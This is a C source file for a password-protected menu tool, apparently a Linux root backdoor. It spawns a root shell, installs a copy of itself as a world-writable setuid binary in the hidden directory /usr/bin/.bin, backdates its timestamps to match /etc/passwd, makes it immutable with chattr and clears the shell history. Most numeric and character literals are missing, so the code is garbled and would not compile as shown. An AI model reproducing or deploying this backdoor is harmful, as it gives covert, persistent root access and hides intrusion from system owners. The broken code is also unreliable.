#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

int compare(char*a,char*b)

{

    if(strcmp(a,b)==)

        return ;

    else

        return ;

}

int is_file_exist(const char*file_path)

{

    if(file_path==NULL)

    {

        return -;

    }

    if(access(file_path,F_OK)==)

    {

        return ;

    }

    return -;

}

char *myFileBasePath="/usr/bin/.bin/bin";

char *password="";

char *mustFileName="./root";

int main(int argc,char** argv)

{

    int errorTime=;

    char typeCommandCode;

    char what;

    char *a=argv[];

    if(compare(a,mustFileName)==){

       printf("file path must be ./root\n");

       return ;

    }

    while()

    {

        printf("please type your password:\n");

        char *typePassword=(char*)malloc(sizeof(char));

        scanf("%s",typePassword);

        what=getchar();

        if(compare(password,typePassword)==)

        {

            errorTime=;

            printf("\n\n welcome you to login success! \n\n");

            while()

            {

                system("clear");

                printf("************************************************\n");

                printf("*        Welcome to use Blake System           *\n");

                printf("*   1----------------get root role             *\n");

                printf("*   2----------------check file                *\n");

                printf("*   3--------------- install command           *\n");

                printf("*   4----------------uninstall command         *\n");

                printf("*   5--------------- Exit                      *\n");

                printf("*                                              *\n");

                printf("************************************************\n");

                printf("please type your option:1-5\n");

                typeCommandCode=getchar();

                what=getchar();

                if(typeCommandCode=='')

                {

                    setuid();

                    setgid();

                    system("/bin/bash");

                    printf("\n Press and key to Continue \n");

                    what=getchar();

                    continue;

                }

                else if(typeCommandCode=='')

                {

                     if(is_file_exist(myFileBasePath)==)

                    {

                        printf("\n /usr/bin/.bin/bin you can find the file \n");

                        printf("\n Press and key to Continue \n");

                        what=getchar();

                        continue;

                    }

                    else

                    {

                        printf("\n /usr/bin/.bin/bin you can't find the file \n");

                        printf("\n Press and key to Continue \n");

                        what=getchar();

                        continue;

                    }

                }

                else if(typeCommandCode=='')

                {

                    system("mkdir /usr/bin/.bin");

                    system("mv root /usr/bin/.bin/bin");

                    system("chmod 4777 /usr/bin/.bin/bin");

                    system("touch -r /etc/passwd /usr/bin/.bin/");

                    system("touch -r /etc/passwd /usr/bin/.bin/bin");

                    system("chattr -R +i /usr/bin/.bin");

                    system("history -c");

                    printf("\n Press and key to Continue \n");

                    what=getchar();

                    continue;

                }

                else if(typeCommandCode=='')

                {

                    system("chattr -i /usr/bin/.bin/bin");

                    system("rm -rf /usr/bin/.bin");

                    printf("\n Press and key to Continue \n");

                    what=getchar();

                    continue;

                }else if(typeCommandCode==''){

                   printf("\n Press and key to Exit \n");

                    return ;

                }

                else

                {

                    printf("\n can't find the option \n");

                    printf("\n Press and key to Continue \n");

                    what=getchar();

                    continue;

                }

            }

        }

        else if(compare(password,typePassword)==)

        {

            printf("\n password error \n\n");

            errorTime++;

            if(errorTime==)

            {

                printf("\n\n error time too many, it will to exit! \n\n");

                break;

                return ;

            }

        }

    }

}